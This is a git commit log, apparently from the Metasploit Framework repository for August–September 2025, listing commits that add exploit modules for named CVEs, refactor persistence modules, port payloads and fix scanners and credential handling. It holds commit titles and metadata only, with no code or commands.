h00die ccd1fe3d78 update upstart to persistence mixin 2025-09-09 17:03:25 -04:00
h00die e3cad5b772 systemd updated with mixin udpates 2025-09-09 16:19:41 -04:00
h00die 296961137e use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die f240fed592 use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die 8b6aede3e4 update systemd to persistence mixin 2025-09-09 16:19:41 -04:00
h00die 16e407fa47 rc_local updated with mixin udpates 2025-09-09 15:42:46 -04:00
h00die 945fd8feb1 use attck ref in openrc persistence module 2025-09-09 15:42:46 -04:00
h00die c2ca191711 update openrc to persistence mixin 2025-09-09 15:42:46 -04:00
h00die 2bd3ea0e6a rc_local updated with mixin udpates 2025-09-09 14:58:09 -04:00
h00die feb4c6f855 rc_local updated with mixin udpates 2025-09-09 14:35:35 -04:00
h00die e0f350f294 update rc_local to persistence mixin 2025-09-09 14:35:35 -04:00
h00die 8bc611465b motd updated with mixin udpates 2025-09-09 14:29:29 -04:00
h00die e1e4e43535 update motd to persistence mixin 2025-09-09 14:29:29 -04:00
Spencer McIntyre 1bd44fa485 Set the anonymous_login option 2025-09-09 13:52:47 -04:00
Spencer McIntyre 30cfc5dbb0 Add a module for testing credential collections 2025-09-09 13:50:55 -04:00
h00die e79c10ac66 cron updated with mixin udpates 2025-09-09 11:55:19 -04:00
h00die 9e461ea875 switch to attck ref 2025-09-09 11:50:31 -04:00
h00die 785397bb0c cron to multi with persistence mixin 2025-09-09 11:50:31 -04:00
h00die c4d03023fc autostart updated with mixin udpates 2025-09-09 11:47:13 -04:00
h00die fb29084f86 persistence autostart cleanup updates 2025-09-09 10:49:56 -04:00
h00die c3be5ad23c update autostart to persistence mixin 2025-09-09 10:49:56 -04:00
jenkins-metasploit b650776c83 automatic module_metadata_base.json update 2025-09-09 14:36:48 +00:00
h00die 638beeb738 apt persistence updates for mixin 2025-09-09 10:33:10 -04:00
h00die 711d8d0896 persistence apt cleanup updates 2025-09-09 10:28:03 -04:00
h00die db2f9f7792 update apt_package_manager to persistence mixin 2025-09-09 10:28:03 -04:00
Diego Ledda 140232da2c Merge pull request #20534 from h00die/persistence_lib_fixes
adjustments to the persistence lib and landed modules
2025-09-09 16:25:24 +02:00
h00die c4936d1b0f adjustments to the persistence lib and modules 2025-09-09 10:02:06 -04:00
jenkins-metasploit 6df1871523 automatic module_metadata_base.json update 2025-09-09 13:51:25 +00:00
cgranleese-r7 2f27fe4ed5 Merge pull request #19653 from Mathiou04/fix_bugs_in_credentials_collection_enumerator_and_refacto
Fixing multiple bugs in credential generation + refactoring
2025-09-09 14:42:12 +01:00
cgranleese-r7 dbb631ffb6 Adds SSL support to the postgres_login module 2025-09-09 09:56:36 +01:00
Christophe De La Fuente 7ce2bdc979 Add T1003 "OS credential dumping" MITRE technique 2025-09-09 10:45:46 +02:00
jenkins-metasploit 704a8f10b8 automatic module_metadata_base.json update 2025-09-08 23:57:37 +00:00
jheysel-r7 7972017936 Merge pull request #20397 from vognik/CVE-2025-34300
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300)
2025-09-08 16:48:29 -07:00
jheysel-r7 0e325e6217 Update documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md 2025-09-08 16:29:00 -07:00
Mathieu 736d89bc2c Update the CredentialCollectionSpecs
CredentialCollection: adding various tests that currently fails to demonstrate multiple bugs in the each method

Fix incorrect expectations of currently failing tests

Inline all specs to avoid nesting context

Reverts some test expectations

Some final tidy up

Re-revert tests expectations
2025-09-08 13:09:51 -04:00
Mathieu 4b97240eca Fixes for the CredentialCollection
Fixes trivial bugs when combining additional_publics with user_as_pass

Fixes the fact that no nil credential is generated for additional_publics

Re-implement the each_unfiltered_password_first method (used in case of password spraying) to make all tests pass

First refactoring pass in order to dry the code that iterates on passwords and usernames
2025-09-08 13:08:02 -04:00
Mathieu 14bc1f14fc Change how ldap_login generate its specific credentials for SCHANNEL && KERBEROS auth 2025-09-08 13:02:30 -04:00
Diego Ledda 68940822fd Merge pull request #20494 from h00die/modern_persistence_example
add example linux persistence module
2025-09-08 16:23:20 +02:00
h00die 5c1673bb20 update obsidian to persistence mixin 2025-09-06 15:05:21 -04:00
remmons-r7 8ffc9a3db4 Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Updating module type from "multi" to "windows" in documentation :)
2025-09-05 23:13:10 -05:00
remmons-r7 00114142ff Delete modules/exploits/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-05 23:10:39 -05:00
remmons-r7 e1b6249c23 Delete documentation/modules/exploit/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-05 23:09:51 -05:00
remmons-r7 e661388ce6 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.md
New documentation for the Commvault CVE-2025-57790/CVE-2025-57791 RCE module, updated to reflect module changes.
2025-09-05 23:06:16 -05:00
remmons-r7 be546af7c0 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.rb
Revised initial module and moved it to windows instead of multi.
2025-09-05 23:04:02 -05:00
remmons-r7 3f7512ba62 Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-05 23:02:01 -05:00
remmons-r7 2bb0deb224 Merge branch 'rapid7:master' into master 2025-09-05 22:59:32 -05:00
bwatters-r7 c40e4cc8bc Add section on Vibecoding and AI/LLM 2025-09-05 15:15:56 -05:00
Diego Ledda 4ede319b0a fix: review changes 2025-09-05 15:21:49 +02:00
adfoster-r7 5fedbe026b Merge pull request #20519 from cgranleese-r7/adds-base-sessions-path-to-meterpreter-workflow-paths
Adds `lib/msf/base/sessions` path to Meterpreter acceptance workflow paths
2025-09-05 13:07:55 +01:00
cgranleese-r7 0966954549 Adds lib/msf/base/sessions to meterpreter acceptance workflow paths 2025-09-05 07:10:40 +01:00
happybear-21 600ad5777a Issue: #20223
Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding

Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main
2025-09-05 10:49:08 +05:30
jenkins-metasploit db80e8173a automatic module_metadata_base.json update 2025-09-04 17:31:17 +00:00
Spencer McIntyre e07d174011 Merge pull request #20511 from mwalas-r7/fix/sni-support-for-ssl-scanner
Added SNI support for the ssl_version scanner
2025-09-04 13:22:57 -04:00
Marcin Walas 9fb4966e52 Added SNI support for ssl scanner 2025-09-04 16:12:31 +02:00
Diego Ledda 55d8a3f33c fix: adding issue reference 2025-09-04 14:36:55 +02:00
dwelch-r7 2ca14c900b Merge pull request #20516 from adfoster-r7/fix-msfdb-init-failures-on-nixos
Fix msfdb init failures on NixOs
2025-09-04 12:25:18 +01:00
adfoster-r7 ce3dc123f9 Fix msfdb init failures on nixos 2025-09-04 11:41:30 +01:00
Metasploit 9beacd1980 Bump version of framework to 6.4.87 2025-09-04 03:32:48 -05:00
jenkins-metasploit ef61041ae1 automatic module_metadata_base.json update 2025-09-03 22:03:28 +00:00
Brendan da7224ed1b Merge pull request #20376 from msutovsky-r7/exploit/sudo-chroot-privesc
Adds module for sudo chroot LPE (CVE-2025-32463)
2025-09-03 16:53:43 -05:00
adfoster-r7 0bc993b9ca Merge pull request #20513 from rapid7/revert-20444-adds-survey-banner-docs-site
Revert "Adds survey banner to the docs site"
2025-09-03 16:29:45 +01:00
dledda-r7 96c6a14e95 fix: removing unhook extension autoload 2025-09-03 11:22:02 -04:00
cgranleese-r7 be01d0578b Revert "Adds survey banner to the docs site" 2025-09-03 16:11:00 +01:00
Christophe De La Fuente 4f606bc216 Bump bson and ed25519 versions 2025-09-03 16:27:00 +02:00
remmons-r7 b360d5edc3 Create commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-02 15:43:22 -05:00
remmons-r7 a07203c14e Create commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-02 15:39:29 -05:00
jenkins-metasploit 9efd3c3c79 automatic module_metadata_base.json update 2025-09-02 14:07:19 +00:00
msutovsky-r7 657280b4b8 Land #20505, adds fix for sap_router_portscanner module
fix output of `sap_router_portscanner` that causes module crash
2025-09-02 15:56:59 +02:00
jenkins-metasploit b3176f0274 automatic module_metadata_base.json update 2025-09-02 12:40:28 +00:00
msutovsky-r7 7820c6caec Land #20504, moves bash_profile module to persistence category
update bash_profile to persistence mixin
2025-09-02 14:31:42 +02:00
adfoster-r7 3d6993d4ba Merge pull request #20500 from cgranleese-r7/fixes-docker-invalid-uri-error
Fixes database name stripping
2025-09-02 12:42:53 +01:00
randomstr1ng 0fe22ead4f Fix table output to use print_line instead of print in
sap_router_port_scanner
2025-09-02 10:05:42 +02:00
h00die 56c692fc3e example persistence cleanup updates 2025-09-01 19:34:57 -04:00
h00die d9f96571e4 use new ATTCK ref 2025-09-01 18:09:25 -04:00
h00die 4591de4cae last changes for persistence bash module after peer review 2025-09-01 17:49:49 -04:00
Martin Sutovsky d056164d89 Removes redundant definitions 2025-09-01 15:53:14 +02:00
Martin Sutovsky fa64376c5c Adds comments for login function 2025-09-01 15:50:21 +02:00
jenkins-metasploit e0fec0e61b automatic module_metadata_base.json update 2025-09-01 11:46:04 +00:00
msutovsky-r7 9283562ee5 Land #20493, adds XWiki unauthenticated exploit module (CVE-2025-24893)
Add XWiki Unauthenticated RCE (CVE-2025-24893)
2025-09-01 13:37:31 +02:00
h00die fa9d58bb73 update bash_profile to persistence mixin 2025-08-30 15:17:50 -04:00
jenkins-metasploit 0e64aef9f7 automatic module_metadata_base.json update 2025-08-29 18:21:05 +00:00
msutovsky-r7 5d59fbd333 Land #19903, adds module for periodic script persistence
Add OSX Periodic Script Peristence
2025-08-29 20:12:12 +02:00
Martin Sutovsky 2681e7cfed Update docs 2025-08-29 17:53:07 +02:00
Martin Sutovsky 57f14339d9 Adds x64 to BSD target 2025-08-29 14:47:11 +02:00
Vognik 071a4a34fc fix tests 2025-08-29 08:41:43 +04:00
Maksim Rogov 9b1d07dea8 removed unnecessary fail_with from check function
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-29 06:55:59 +03:00
Spencer McIntyre 9979af9fd7 Update the specs 2025-08-28 17:59:17 -04:00
Spencer McIntyre 75c1415de4 Add the new exe templates 2025-08-28 17:41:48 -04:00
Spencer McIntyre cf8aa2fc48 Fix the build script 2025-08-28 17:41:28 -04:00
Spencer McIntyre 3af8bd97ad Consistently use the same technique for exe-service 2025-08-28 17:39:57 -04:00
Spencer McIntyre 0e95f25d4b Add the exe_service template to the build script 2025-08-28 17:28:55 -04:00
Spencer McIntyre 0192f314ce Begin normalizing PE templates 2025-08-28 17:28:37 -04:00
h00die 2b249d5626 update linux example persistence 2025-08-28 17:00:05 -04:00
cgranleese-r7 5a3195d9f6 Fixes database name stripping 2025-08-28 15:32:11 +01:00
msutovsky-r7 c163cb3141 Land #20490, adds the HTTP::Auth option to HTTP modules
This adds the `HTTP::Auth` Option to HTTP Modules
2025-08-28 16:13:38 +02:00
Spencer McIntyre 196e19808d Add some error handling for kerberos options 2025-08-28 10:00:19 -04:00
Martin Sutovsky ae64436441 Fixes payload delivery, updates targets 2025-08-28 15:47:24 +02:00
dwelch-r7 3d809fa11b Merge pull request #20499 from dwelch-r7/fix-msfconsole-crash-in-pro-install
Add the monkey patch for the TagBuilder that pro needs
2025-08-28 13:05:52 +01:00
Dean Welch 672e9fb32e Add the monkey patch for the TagBuilder that pro needs 2025-08-28 12:42:42 +01:00
Metasploit 2896b232d1 Bump version of framework to 6.4.86 2025-08-28 06:09:25 -05:00
jenkins-metasploit 66c16b0887 automatic module_metadata_base.json update 2025-08-28 07:59:52 +00:00
msutovsky-r7 c5e5cb84f1 Land #20266, adds UDP keyboard exploit module for Remote for Mac 2025.6
Adds UDP Keyboard RCE for Remote for Mac 2025.6
2025-08-28 09:47:16 +02:00
Martin Sutovsky b177507041 Adds docs 2025-08-28 09:27:32 +02:00
Martin Sutovsky f9b8a9b95e Adds more robust check method 2025-08-28 09:11:01 +02:00
Martin Sutovsky 6c65db52c5 Code rebase, fixing according to the comments 2025-08-28 09:00:12 +02:00
Chokri Hammedi a251694e2f Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:56 +02:00
Chokri Hammedi eda79be4bd Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:56 +02:00
Chokri Hammedi 2d1f700935 Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:55 +02:00
root 8a6d12a2f4 Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE 2025-08-28 08:57:55 +02:00
root 374407fc79 Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE 2025-08-28 08:57:54 +02:00
jenkins-metasploit 7549339e01 automatic module_metadata_base.json update 2025-08-27 20:55:20 +00:00
Brendan f1dffd3ad6 Merge pull request #20480 from msutovsky-r7/exploit/pretalx/file-rw
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458)
2025-08-27 15:46:39 -05:00
Martin Sutovsky f43b141886 Fine-tunning docs 2025-08-27 21:18:03 +02:00
Martin Sutovsky 61a0d68d97 Fine-tuning docs 2025-08-27 19:22:46 +02:00
Martin Sutovsky 23f486dc53 Updates docs 2025-08-27 19:16:33 +02:00
Martin Sutovsky 7196786258 Clarifies docs 2025-08-27 18:12:54 +02:00
bwatters-r7 090743abbd Update error message when there may be a timeout 2025-08-27 11:04:43 -05:00
Martin Sutovsky eef1d34506 Adds more comprehensive check, updates build instructions 2025-08-27 17:58:11 +02:00
jenkins-metasploit df86d1bd79 automatic module_metadata_base.json update 2025-08-26 20:23:12 +00:00
Spencer McIntyre c56bfcaa5b Merge pull request #20488 from mwalas-r7/fix/ssl-version-scanner
Fixed listing weak ciphers in ssl_version scan
2025-08-26 16:14:23 -04:00
Martin Sutovsky a8e97e034c Adds docs 2025-08-26 13:06:57 +02:00
Martin Sutovsky 2533ddf441 Rubocoping 2025-08-26 12:42:28 +02:00
jenkins-metasploit 2e1e2efd5c automatic module_metadata_base.json update 2025-08-25 23:28:32 +00:00
Spencer McIntyre 51a2c96e7b Merge pull request #20489 from 2tunnels/patch-1
Fix legacy method override in torchserver_cve_2023_43654
2025-08-25 19:20:09 -04:00
Marcin Walas 6c77f7479d Fixed showing weak ciphers in ssl_version scan 2025-08-25 21:41:29 +02:00
Martin Sutovsky b43b4c9f37 Updates library, addressing comments 2025-08-25 17:49:34 +02:00
Maksim Rogov bdad398541 Update Payload Generation 2025-08-25 15:49:30 +03:00
Maksim Rogov 16b3a352e8 Apply suggestion from @msutovsky-r7
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-25 10:49:49 +03:00
Maksim Rogov 51ca11a9d4 Apply suggestion from @msutovsky-r7
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-24 18:14:28 +03:00
Vognik 92ddf5646a Code Review Edits from @msutovsky-r7 2025-08-24 19:13:16 +04:00
h00die 96cc6b479c add example linux persistence module 2025-08-24 08:09:05 -04:00
Vognik 7289c25faa Fix Tests 2025-08-24 12:12:22 +04:00
Vognik 7317922be8 Added Documentation 2025-08-24 07:46:59 +04:00
Vognik 2b01ba6200 Add XWiki Unauthenticated RCE (CVE-2025-24893) 2025-08-23 18:56:24 +04:00
Spencer McIntyre c1074c138e Move the options into the mixin 2025-08-22 16:05:12 -04:00
Spencer McIntyre 7fdb1e03fa Tie in Kerberos authentication for HTTP modules 2025-08-22 15:58:18 -04:00
Vlad Dmitrievich baa5469a21 Fix legacy method override in torchserver_cve_2023_43654
I think `Msf::Exploit::Remote::Java::HTTP::ClassLoader` module had `on_request_uri` method, that was later renamed to `java_class_loader_on_request_uri`.
2025-08-22 17:01:41 +03:00
Martin Sutovsky d49870211b Adding exceptions to exploit module, bug fix for aux module, adds documentation for exploit module 2025-08-22 15:26:46 +02:00
Martin Sutovsky 4e113b1768 Addresses comments, adds exception for Pretalx, modifies aux module 2025-08-22 13:59:50 +02:00
Martin Sutovsky 2e9b5453ec Adds description 2025-08-21 15:29:08 +02:00
Martin Sutovsky fb062075e3 Adds target, adds side effects 2025-08-21 15:21:16 +02:00
Martin Sutovsky 408f7575e4 Fixing write primitive for exploit module, library update 2025-08-21 15:17:32 +02:00
Metasploit f6b9101249 Bump version of framework to 6.4.85 2025-08-21 06:36:19 -05:00
dledda-r7 53ce08ef6e feat: add stdapi_webcam extension 2025-08-21 07:13:36 -04:00
dledda-r7 0206663565 feat: add stdapi_ui extension 2025-08-21 07:13:36 -04:00
dledda-r7 02995f2f7d feat: add stdapi_railgun extension 2025-08-21 07:13:35 -04:00
dledda-r7 809599a7d6 feat: add stdapi_audio extension 2025-08-21 07:13:35 -04:00
dledda-r7 94cc3d0a29 feat: add stdapi_sys extension 2025-08-21 07:13:34 -04:00
dledda-r7 44efeffef1 fix: removing duplicate dispatchers stdapi_fs and stdapi_net 2025-08-21 07:13:34 -04:00
dledda-r7 2af25bb294 fix: disable already loaded commands to allow multiple stdapi loading 2025-08-21 07:13:34 -04:00
dledda-r7 a265deb37e fix: stdapi_net correct wrapped object alias 2025-08-21 07:13:33 -04:00
dledda-r7 d4c44f9dbf feat: add stdapi_net extension 2025-08-21 07:13:33 -04:00
dledda-r7 4fe4f8fc14 feat: add stdapi_fs extension 2025-08-21 07:13:32 -04:00
adfoster-r7 4b2ae82f87 Merge pull request #20485 from adfoster-r7/fix-ldap-schannel-supercall
Fix ldap schannel superclass method call
2025-08-21 11:52:53 +01:00
adfoster-r7 f3dd030574 Fix ldap schannel supercall 2025-08-21 11:28:26 +01:00
Metasploit 99dd2a0613 Bump version of framework to 6.4.84 2025-08-21 05:13:14 -05:00
adfoster-r7 30bda5c6a5 Merge pull request #20484 from cdelafuente-r7/add_parallel_gem
Add parallel gem to gemspec
2025-08-21 10:54:31 +01:00
Christophe De La Fuente 39e008e650 Add parallel gem to gemspec 2025-08-21 11:50:21 +02:00
dledda-r7 5b9f1c7818 fix: update CI for meterpreter vs2022 2025-08-21 04:06:18 -04:00
Martin Sutovsky 01c09bcfed Library fixes, refactoring exploit module 2025-08-21 09:22:21 +02:00
Martin Sutovsky 72dcc5a301 Library fix 2025-08-21 07:21:56 +02:00
rodolphopivetta 16e4d48a73 Add ssl param to new HTTP scanner on http_login 2025-08-21 00:19:48 -04:00
jenkins-metasploit ab45ae60f3 automatic module_metadata_base.json update 2025-08-20 18:26:50 +00:00
Spencer McIntyre 5735a82df7 Merge pull request #20460 from msutovsky-r7/exploit/ndsudo-priv-esc
Adds an exploit for ndsudo privilege escalation (CVE-2024-32019)
2025-08-20 14:13:24 -04:00
Spencer McIntyre 8602f8beaf Merge pull request #20470 from bwatters-r7/docs/readd-esc8
re-add ESC8 creation guide
2025-08-20 10:57:18 -04:00
Martin Sutovsky e23feb0faf Adds check for ndsudo binary 2025-08-20 12:49:38 +02:00
Metasploit f18b0ccf7d Bump version of framework to 6.4.83 2025-08-20 05:44:43 -05:00
jenkins-metasploit 5ad5384b7f automatic module_metadata_base.json update 2025-08-20 10:33:47 +00:00
dwelch-r7 d09d5212ec Merge pull request #20457 from adfoster-r7/add-database-ref-opts-for-kerberos-and-pkcs12
Add database ref opts for kerberos and pkcs12
2025-08-20 11:25:20 +01:00
Martin Sutovsky aae5356190 Updates the docs 2025-08-20 12:10:11 +02:00
Martin Sutovsky da5b20faa4 Creating lib file for shared functionality, adding more reliable check method for CVE-2025-34511, docs init 2025-08-20 10:59:22 +02:00
msutovsky-r7 29a7e4b7a8 Land #20429, updates communication channels in Metasploit documentation
Update communication channels in documentation
2025-08-20 10:17:44 +02:00
Martin Sutovsky 8c28c7dbae Code changes for 34510, adds module for CVE-2025-34511 2025-08-20 09:58:26 +02:00
Corey 88d7a1ab04 fix coonflicts and rubocop 2025-08-19 12:37:53 -04:00
Corey df917720eb Remove payload file 2025-08-19 12:33:56 -04:00
Martin Sutovsky 7ab12460f1 Fixing payloads 2025-08-19 16:11:25 +02:00
Martin Sutovsky 96791403db Adds malicious zip upload 2025-08-19 09:56:23 +02:00
adfoster-r7 0557d63127 Add database ref opts for kerberos and pkcs12 2025-08-18 15:56:47 +01:00
jenkins-metasploit 7f833ceba5 automatic module_metadata_base.json update 2025-08-18 10:20:18 +00:00
Diego Ledda be3d77715e Merge pull request #20382 from Chocapikk/depicter-fix
Fix `auxiliary/gather/wp_depicter_sqli_cve_2025_2011`
2025-08-18 12:08:45 +02:00
Vognik b13f59128c Added Setup Guide for Windows 2025-08-18 08:20:32 +04:00
jenkins-metasploit bcc59f1ec7 automatic module_metadata_base.json update 2025-08-16 00:04:52 +00:00
jheysel-r7 0830de8404 Merge pull request #20471 from zeroSteiner/feat/mod/ldap/esc-finder-updates
Update the ldap_esc_vulnerable_cert_finder to check enrollment permissions
2025-08-15 16:52:29 -07:00
Jacob Pham c8f44cfbce Update docs/metasploit-framework.wiki/Contact.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-15 16:53:39 -04:00
Spencer McIntyre 170fbcb2bd Add two more report filters 2025-08-15 15:34:13 -04:00
Spencer McIntyre 1c41c734f0 Fix a missing ESC16 check 2025-08-15 15:11:52 -04:00
Spencer McIntyre 25c72d4858 Handle some edge cases in report filtering 2025-08-15 14:49:48 -04:00
Spencer McIntyre f3719b884a Document the new report filtering option 2025-08-15 11:57:30 -04:00
Spencer McIntyre c8f72a83c0 Refactor to remove redundant code 2025-08-15 11:57:30 -04:00
Spencer McIntyre 2338ad7c84 Implement the desired filtering 2025-08-15 11:57:30 -04:00
Spencer McIntyre fa33c84612 Evaluate permissions for templates and CAs 2025-08-15 11:57:30 -04:00
Spencer McIntyre 13b3af325f Apply the ACEs for Authenticated Users 2025-08-15 11:57:30 -04:00
Martin Sutovsky 52efe8d6de Module init 2025-08-15 14:37:09 +02:00
cgranleese-r7 c843e36402 Merge pull request #20469 from adfoster-r7/improve-kerberos-file-load-error-messages
Improve Kerberos file load error messages
2025-08-15 12:51:52 +01:00
adfoster-r7 bebb43f8f6 Improve kerberos file load error messages 2025-08-15 12:38:45 +01:00
Diego Ledda 487c204b52 Merge pull request #20381 from h00die/persistence_phase_1
Persistence libraries/Mixins
2025-08-15 12:40:55 +02:00
Martin Sutovsky 38f81e073f Fixing documentation, adds more reliable cmd_exec 2025-08-15 07:26:56 +02:00
bwatters-r7 97958cdf33 re-add ESC8 creation guide 2025-08-14 16:42:51 -05:00
Metasploit 996b1d0632 Bump version of framework to 6.4.82 2025-08-14 16:20:34 -05:00
Metasploit 6ef226f43e Bump version of framework to 6.4.81 2025-08-14 13:39:23 -05:00
Chocapikk f4e71c1e93 Replace Rank 2025-08-14 16:37:13 +02:00
Chocapikk 3022513652 Add CRASH_SERVICE_DOWN and "`" badchar 2025-08-14 16:16:21 +02:00
Valentin Lobstein 46bbec2470 Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-08-14 16:11:27 +02:00
Valentin Lobstein bd9c2bf231 Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-14 16:01:59 +02:00
jenkins-metasploit b59fd1c61a automatic module_metadata_base.json update 2025-08-13 10:07:02 +00:00
Diego Ledda eb003f704d Merge pull request #20386 from xHector1337/payload/windows/x64/download_exec
Port payload/windows/download_exec to x64
2025-08-13 11:58:22 +02:00
jenkins-metasploit 7ca82b47fb automatic module_metadata_base.json update 2025-08-12 19:37:04 +00:00
jheysel-r7 8251d89e92 Merge pull request #20400 from msutovsky-r7/exploit/pivotx-rce
Adds module for PivotX RCE (CVE-2025-52367)
2025-08-12 12:28:28 -07:00
Jack Heysel 0273f1474f Added incorrect creds check 2025-08-12 10:42:46 -07:00
jenkins-metasploit 3e882a3767 automatic module_metadata_base.json update 2025-08-12 16:30:43 +00:00
jheysel-r7 e59a24823b Merge pull request #20387 from h00die-gr3y/wazuh-auth-rce
Wazuh Server authenticated RCE [CVE-2025-24016]
2025-08-12 09:22:22 -07:00
jheysel-r7 4200f51fdf Merge pull request #20445 from zeroSteiner/feat/lib/ldap-adds/2
Don't look up the local system SID
2025-08-12 07:59:10 -07:00
jenkins-metasploit e1407833c2 automatic module_metadata_base.json update 2025-08-12 10:34:11 +00:00
cgranleese-r7 ec7d47c271 Merge pull request #20461 from adfoster-r7/improve-login-summary-for-ldap-scanner
Improve login summary for ldap schannel scanner
2025-08-12 11:25:50 +01:00
Diego Ledda 3122426ebe Update modules/payloads/singles/windows/x64/download_exec.rb
update cache size
2025-08-12 11:39:44 +02:00
Umut abe932cdee Update payloads_spec.rb 2025-08-12 12:34:47 +03:00
Diego Ledda b6d9172d5b chore(rubocop): remove extra white-space 2025-08-12 11:05:21 +02:00
dwelch-r7 9dee394cab Merge pull request #20463 from adfoster-r7/update-display-module-action-wording
Update display module action wording
2025-08-11 17:50:09 +01:00
dwelch-r7 003870e295 Merge pull request #20462 from adfoster-r7/fix-error-in-kerberos-authenticator
Fix logging error in kerberos authenticator
2025-08-11 17:49:31 +01:00
adfoster-r7 7c3ba83dd4 Update display module action wording 2025-08-11 17:02:35 +01:00
adfoster-r7 332a55cb4f Fix error in kerberos authenticator 2025-08-11 16:48:37 +01:00
adfoster-r7 a1630c0b81 Improve login summary for ldap schannel scanner 2025-08-11 16:47:02 +01:00
jenkins-metasploit 3817ed2e70 automatic module_metadata_base.json update 2025-08-11 15:02:00 +00:00
adfoster-r7 2734daec0f Merge pull request #20459 from adfoster-r7/consolidate-pkcs12-cert-file-reads
Consolidate pkcs12 cert file reads
2025-08-11 15:53:38 +01:00
Martin Sutovsky 94bd9eea98 Removes leftover includes 2025-08-11 16:29:16 +02:00
Martin Sutovsky fbd1c1767f Finish documentation, adds description and notes 2025-08-11 16:25:56 +02:00
adfoster-r7 ced20bf15a Consolidate pkcs12 cert file reads 2025-08-11 14:28:47 +01:00
cgranleese-r7 d25fd0825c Merge pull request #20458 from adfoster-r7/fix-rendering-issue-on-kerberos-docs
Fix rendering issue on kerberos docs
2025-08-11 13:10:59 +01:00
Umut af0fe9e5cc run rubocop -A 2025-08-11 14:22:28 +03:00
adfoster-r7 093d9f9a99 Fix rendering issue on kerberos docs 2025-08-11 12:13:53 +01:00
msutovsky-r7 b23775124b Land #20451, adds support for lwp-request GET fetch adapter
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
2025-08-11 12:54:41 +02:00
Martin Sutovsky d219efc0ac Adds documentation, adds check method 2025-08-11 12:25:33 +02:00
RakRak 383ee010f1 Create wordpress_cp_calendar_sqli.md 2025-08-08 21:58:02 -04:00
Metasploit b8dad8d85f Bump version of framework to 6.4.80 2025-08-08 10:16:11 -05:00
Martin Sutovsky 936e68eb2e Module init 2025-08-08 07:53:56 +02:00
Chocapikk baacd6f2bf Update CVE-ID in documentation 2025-08-07 21:54:38 +02:00
Chocapikk ff4ede95cc Remove useless headers 2025-08-07 21:53:14 +02:00
Chocapikk 87eb063460 Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152) 2025-08-07 18:34:49 +02:00
jenkins-metasploit 5e6d442860 automatic module_metadata_base.json update 2025-08-07 13:46:28 +00:00
msutovsky-r7 e8b441a5d3 Land #20012, MeterpreterOptions break-up and default extension loading removal
MeterpreterOptions break-up and default extension loading removal
2025-08-07 15:28:56 +02:00
jenkins-metasploit 6a26428029 automatic module_metadata_base.json update 2025-08-07 06:46:55 +00:00
msutovsky-r7 9caa2be9a2 Land #20399, adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
Pandora ITSM auth RCE [CVE-2025-4653]
2025-08-07 08:37:45 +02:00
Martin Sutovsky 89d70fe2f8 Clarify build instructions 2025-08-07 08:05:54 +02:00
Martin Sutovsky 8c43583e87 Removes debugging imports 2025-08-07 07:35:17 +02:00
Martin Sutovsky 02c81c57e9 Removes redundant comment 2025-08-07 07:35:17 +02:00
Martin Sutovsky febb52ea3f Fixing mkdir issue 2025-08-07 07:35:17 +02:00
Martin Sutovsky 162f73942c Specifies version in documentation 2025-08-07 07:35:16 +02:00
Martin Sutovsky e1b8453764 Removing redundant include 2025-08-07 07:35:16 +02:00
Martin Sutovsky c5c51fe577 Updates comments 2025-08-07 07:35:15 +02:00
Martin Sutovsky 547a0bb7f4 Adds sudo version check using existing functionality 2025-08-07 07:35:15 +02:00
Martin Sutovsky 0a9dda06fb Addressing comments 2025-08-07 07:35:15 +02:00
Martin Sutovsky b1acfc1b97 Addressing comments 2025-08-07 07:35:14 +02:00
Martin Sutovsky caab87096e Addressing comments, updating docs 2025-08-07 07:35:14 +02:00
Martin Sutovsky 5207f97da1 Addressing comments 2025-08-07 07:35:13 +02:00
Martin Sutovsky c6e695f5c2 Fixing notes 2025-08-07 07:35:13 +02:00
Martin Sutovsky cf0f35c8e0 Updating docs 2025-08-07 07:35:13 +02:00
Martin Sutovsky d8f0f5a0fe Adding check method, base for documentation 2025-08-07 07:35:12 +02:00
Martin Sutovsky 4c6bfdcfad Inits module 2025-08-07 07:35:12 +02:00
jenkins-metasploit 41698afa32 automatic module_metadata_base.json update 2025-08-06 19:33:05 +00:00
Brendan b6dc0860e7 Merge pull request #20409 from sfewer-r7/sharepoint-hax
Exploit module for Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
